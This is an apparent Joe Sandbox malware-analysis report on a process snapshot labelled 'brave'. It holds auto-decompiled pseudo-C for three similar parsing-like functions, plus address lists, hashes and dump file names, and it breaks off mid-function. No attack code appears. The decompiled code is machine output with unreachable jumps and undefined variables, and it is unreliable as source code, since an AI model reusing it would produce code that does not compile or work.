Instruction Fuzzy Hash: 3B311373529B44C2E7209F08F8953AAB7A1FB88798F954625D2CC073B9CFBDD1848790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE62C7 Relevance: 1.3, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF77FF77BEE62C7(signed int __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t106;
				signed int _t110;
				void* _t129;
				long long* _t134;
				intOrPtr* _t137;
				intOrPtr _t138;
				long long _t139;
				char* _t140;
				signed char* _t141;
				long long* _t144;
				long long* _t147;
				signed char* _t150;
				long long* _t153;
				signed char* _t154;
				signed char* _t156;
				signed char* _t157;
				intOrPtr _t184;
				intOrPtr _t186;
				intOrPtr _t189;
				intOrPtr _t191;
				intOrPtr _t193;
				intOrPtr _t196;
				intOrPtr _t200;
				long long _t212;
				long long* _t216;
				signed char* _t218;
				signed char* _t219;
				long long _t230;
				void* _t235;

				_t184 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t184 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126a9;
				_t134 = (_t110 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t134 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t184 + 1;
				 *_t134 = 0x27;
				 *((long long*)(_t134 + 0x10)) = 0x7c1953c0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				_t186 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t186 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12702;
				_t187 = _t186 + 1;
				_t137 = (_t110 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t137 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t186 + 1;
				 *_t137 = 0x27;
				 *((long long*)(_t137 + 0x10)) = 0x7c195360;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0xa;
				goto 0x7bee5c22;
				 *_t137 =  *_t137 + __eax;
				_t138 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t138 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t139 = _t138 + 1;
				_t216 = (__eax << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t216 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t139;
				 *_t216 = 0x42;
				E00007FF77FF77BEE4E90(_t139, __rbx, _t187, __r8, _t235);
				 *((long long*)(_t216 + 0x10)) = _t139;
				_t140 =  *(__rbx + 0x18);
				if ( *_t140 != 0x5f) goto 0x7bee5c20;
				_t141 = _t140 + 1;
				 *(__rbx + 0x18) = _t141;
				E00007FF77FF77BEE5BC0();
				E00007FF77FF77BEE4DD0();
				_a40 = _t141;
				_t189 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t189 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12670;
				_t144 = (_t110 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t144 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t189 + 1;
				 *_t144 = 0x27;
				 *((long long*)(_t144 + 0x10)) = 0x7c195340;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t191 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t191 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t147 = (_t110 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t147 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t191 + 1;
				 *_t147 = 0x27;
				 *((long long*)(_t147 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t193 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t193 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t150 = (_t110 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t150 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t193 + 1;
				 *_t150 = 0x27;
				 *((long long*)(_t150 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t150;
				_t196 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t196 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t153 = (_t110 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t153 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t196 + 1;
				 *_t153 = 0x27;
				 *((long long*)(_t153 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t153, __rbx);
				_a40 = _t153;
				if (_t153 == 0) goto 0x7bee5c20;
				if ( *_t153 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t154 = _t153 + 1;
				 *(__rbx + 0x18) = _t154;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t154;
				_t218 = _t154;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t218[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t218;
				_t156 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t230 = _a40;
				if (_t230 == 0) goto 0x7bee5c20;
				_t200 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t200 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t110 * 8)) = _t230;
				 *((long long*)(__rbx + 0x38)) = _t200 + 1;
				 *((long long*)(_t156 - 0x77)) =  *((long long*)(_t156 - 0x77)) - 1;
				_t212 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t230 + 3;
				_t106 = E00007FF77FF77BEE7F20(_t156, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t212;
				_t219 = _t156;
				if (_t156 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t212);
				_push(_t219);
				_push(__rbx);
				_t157 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t157[1]);
				r10d =  *_t157 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t129 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t106 + _t106 * 2) * 8)))) - r10b;
				if (_t129 == 0) goto 0x7bee6680;
				if (_t129 <= 0) goto 0x7bee66c0;
				r8d = _t106;
				if (_t110 != r8d) goto 0x7bee6648;
				return _t106;
			}

0x7ff77bee62c7
0x7ff77bee62cd
0x7ff77bee62e4
0x7ff77bee62e8
0x7ff77bee62f0
0x7ff77bee62f3
0x7ff77bee62f9
0x7ff77bee62fd
0x7ff77bee6306
0x7ff77bee630c
0x7ff77bee631c
0x7ff77bee6323
0x7ff77bee6327
0x7ff77bee632f
0x7ff77bee6332
0x7ff77bee6338
0x7ff77bee633c
0x7ff77bee6340
0x7ff77bee634e
0x7ff77bee6350
0x7ff77bee6356
0x7ff77bee635f
0x7ff77bee6369
0x7ff77bee636d
0x7ff77bee6375
0x7ff77bee6378
0x7ff77bee637e
0x7ff77bee6383
0x7ff77bee6386
0x7ff77bee638d
0x7ff77bee6393
0x7ff77bee639a
0x7ff77bee639e
0x7ff77bee63b1
0x7ff77bee63b6
0x7ff77bee63c0
0x7ff77bee63c6
0x7ff77bee63dd
0x7ff77bee63e1
0x7ff77bee63e9
0x7ff77bee63ec
0x7ff77bee63f2
0x7ff77bee63f6
0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 20424c13b3fe3a61d91eaf3b8454916fd22ba680c96b86fb48c1f8e48ee5258f
Instruction ID: 3661782522f81a426e38454f121a46a5698eae48c35dd45e448098f69a26cbaf
Opcode Fuzzy Hash: 20424c13b3fe3a61d91eaf3b8454916fd22ba680c96b86fb48c1f8e48ee5258f
Instruction Fuzzy Hash: F821F373529B45C2E7209F09F8853A9B7A1FB88758FA54625D2CC073B9CFBDD1848790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE6249 Relevance: 1.3, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF77FF77BEE6249(signed int __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t122;
				signed int _t126;
				void* _t147;
				long long* _t152;
				long long* _t155;
				long long* _t158;
				intOrPtr* _t161;
				intOrPtr _t162;
				long long _t163;
				char* _t164;
				signed char* _t165;
				long long* _t168;
				long long* _t171;
				signed char* _t174;
				long long* _t177;
				signed char* _t178;
				signed char* _t180;
				signed char* _t181;
				intOrPtr _t208;
				intOrPtr _t210;
				intOrPtr _t212;
				intOrPtr _t214;
				intOrPtr _t217;
				intOrPtr _t219;
				intOrPtr _t221;
				intOrPtr _t224;
				intOrPtr _t228;
				long long _t242;
				long long* _t246;
				signed char* _t248;
				signed char* _t249;
				long long _t260;
				void* _t265;

				_t208 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t208 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126c9;
				_t152 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t152 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t208 + 1;
				 *_t152 = 0x27;
				 *((long long*)(_t152 + 0x10)) = 0x7c195380;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 4;
				_t210 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t210 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126dc;
				_t155 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t155 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t210 + 1;
				 *_t155 = 0x27;
				 *((long long*)(_t155 + 0x10)) = 0x7c195320;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t212 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t212 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126a9;
				_t158 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t158 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t212 + 1;
				 *_t158 = 0x27;
				 *((long long*)(_t158 + 0x10)) = 0x7c1953c0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				_t214 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t214 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12702;
				_t215 = _t214 + 1;
				_t161 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t161 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t214 + 1;
				 *_t161 = 0x27;
				 *((long long*)(_t161 + 0x10)) = 0x7c195360;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0xa;
				goto 0x7bee5c22;
				 *_t161 =  *_t161 + __eax;
				_t162 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t162 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t163 = _t162 + 1;
				_t246 = (__eax << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t246 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t163;
				 *_t246 = 0x42;
				E00007FF77FF77BEE4E90(_t163, __rbx, _t215, __r8, _t265);
				 *((long long*)(_t246 + 0x10)) = _t163;
				_t164 =  *(__rbx + 0x18);
				if ( *_t164 != 0x5f) goto 0x7bee5c20;
				_t165 = _t164 + 1;
				 *(__rbx + 0x18) = _t165;
				E00007FF77FF77BEE5BC0();
				E00007FF77FF77BEE4DD0();
				_a40 = _t165;
				_t217 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t217 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12670;
				_t168 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t217 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0x7c195340;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t219 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t219 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t171 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t171 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t219 + 1;
				 *_t171 = 0x27;
				 *((long long*)(_t171 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t221 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t221 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t174 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t174 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t221 + 1;
				 *_t174 = 0x27;
				 *((long long*)(_t174 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t174;
				_t224 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t224 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t177 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t177 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t224 + 1;
				 *_t177 = 0x27;
				 *((long long*)(_t177 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t177, __rbx);
				_a40 = _t177;
				if (_t177 == 0) goto 0x7bee5c20;
				if ( *_t177 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t178 = _t177 + 1;
				 *(__rbx + 0x18) = _t178;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t178;
				_t248 = _t178;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t248[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t248;
				_t180 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t260 = _a40;
				if (_t260 == 0) goto 0x7bee5c20;
				_t228 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t228 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t126 * 8)) = _t260;
				 *((long long*)(__rbx + 0x38)) = _t228 + 1;
				 *((long long*)(_t180 - 0x77)) =  *((long long*)(_t180 - 0x77)) - 1;
				_t242 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t260 + 3;
				_t122 = E00007FF77FF77BEE7F20(_t180, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t242;
				_t249 = _t180;
				if (_t180 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t242);
				_push(_t249);
				_push(__rbx);
				_t181 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t181[1]);
				r10d =  *_t181 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t147 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t122 + _t122 * 2) * 8)))) - r10b;
				if (_t147 == 0) goto 0x7bee6680;
				if (_t147 <= 0) goto 0x7bee66c0;
				r8d = _t122;
				if (_t126 != r8d) goto 0x7bee6648;
				return _t122;
			}

0x7ff77bee6249
0x7ff77bee624f
0x7ff77bee6266
0x7ff77bee626a
0x7ff77bee6272
0x7ff77bee6275
0x7ff77bee627b
0x7ff77bee627f
0x7ff77bee6288
0x7ff77bee628e
0x7ff77bee62a5
0x7ff77bee62a9
0x7ff77bee62b1
0x7ff77bee62b4
0x7ff77bee62ba
0x7ff77bee62be
0x7ff77bee62c7
0x7ff77bee62cd
0x7ff77bee62e4
0x7ff77bee62e8
0x7ff77bee62f0
0x7ff77bee62f3
0x7ff77bee62f9
0x7ff77bee62fd
0x7ff77bee6306
0x7ff77bee630c
0x7ff77bee631c
0x7ff77bee6323
0x7ff77bee6327
0x7ff77bee632f
0x7ff77bee6332
0x7ff77bee6338
0x7ff77bee633c
0x7ff77bee6340
0x7ff77bee634e
0x7ff77bee6350
0x7ff77bee6356
0x7ff77bee635f
0x7ff77bee6369
0x7ff77bee636d
0x7ff77bee6375
0x7ff77bee6378
0x7ff77bee637e
0x7ff77bee6383
0x7ff77bee6386
0x7ff77bee638d
0x7ff77bee6393
0x7ff77bee639a
0x7ff77bee639e
0x7ff77bee63b1
0x7ff77bee63b6
0x7ff77bee63c0
0x7ff77bee63c6
0x7ff77bee63dd
0x7ff77bee63e1
0x7ff77bee63e9
0x7ff77bee63ec
0x7ff77bee63f2
0x7ff77bee63f6
0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1731b14f2956df255452849adda0d94321e9a15643b3c7cb3cb0a14edf0ebb61
Instruction ID: bbc843967815bf106ac66c3199f7d7ba5f5b448a9862c926d9e2b1a9d9ec024e
Opcode Fuzzy Hash: 1731b14f2956df255452849adda0d94321e9a15643b3c7cb3cb0a14edf0ebb61
Instruction Fuzzy Hash: 8D21F473529B45C2E720AF08F8803A9B7A1FB88758F954675D28C073B9DFBDD5848790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE6288 Relevance: 1.3, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF77FF77BEE6288(signed int __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t114;
				signed int _t118;
				void* _t138;
				long long* _t143;
				long long* _t146;
				intOrPtr* _t149;
				intOrPtr _t150;
				long long _t151;
				char* _t152;
				signed char* _t153;
				long long* _t156;
				long long* _t159;
				signed char* _t162;
				long long* _t165;
				signed char* _t166;
				signed char* _t168;
				signed char* _t169;
				intOrPtr _t196;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t203;
				intOrPtr _t205;
				intOrPtr _t207;
				intOrPtr _t210;
				intOrPtr _t214;
				long long _t227;
				long long* _t231;
				signed char* _t233;
				signed char* _t234;
				long long _t245;
				void* _t250;

				_t196 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t196 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126dc;
				_t143 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t143 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t196 + 1;
				 *_t143 = 0x27;
				 *((long long*)(_t143 + 0x10)) = 0x7c195320;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t198 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t198 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126a9;
				_t146 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t146 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t198 + 1;
				 *_t146 = 0x27;
				 *((long long*)(_t146 + 0x10)) = 0x7c1953c0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				_t200 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t200 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12702;
				_t201 = _t200 + 1;
				_t149 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t149 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t200 + 1;
				 *_t149 = 0x27;
				 *((long long*)(_t149 + 0x10)) = 0x7c195360;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0xa;
				goto 0x7bee5c22;
				 *_t149 =  *_t149 + __eax;
				_t150 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t150 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t151 = _t150 + 1;
				_t231 = (__eax << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t231 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t151;
				 *_t231 = 0x42;
				E00007FF77FF77BEE4E90(_t151, __rbx, _t201, __r8, _t250);
				 *((long long*)(_t231 + 0x10)) = _t151;
				_t152 =  *(__rbx + 0x18);
				if ( *_t152 != 0x5f) goto 0x7bee5c20;
				_t153 = _t152 + 1;
				 *(__rbx + 0x18) = _t153;
				E00007FF77FF77BEE5BC0();
				E00007FF77FF77BEE4DD0();
				_a40 = _t153;
				_t203 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t203 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12670;
				_t156 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t156 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t203 + 1;
				 *_t156 = 0x27;
				 *((long long*)(_t156 + 0x10)) = 0x7c195340;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
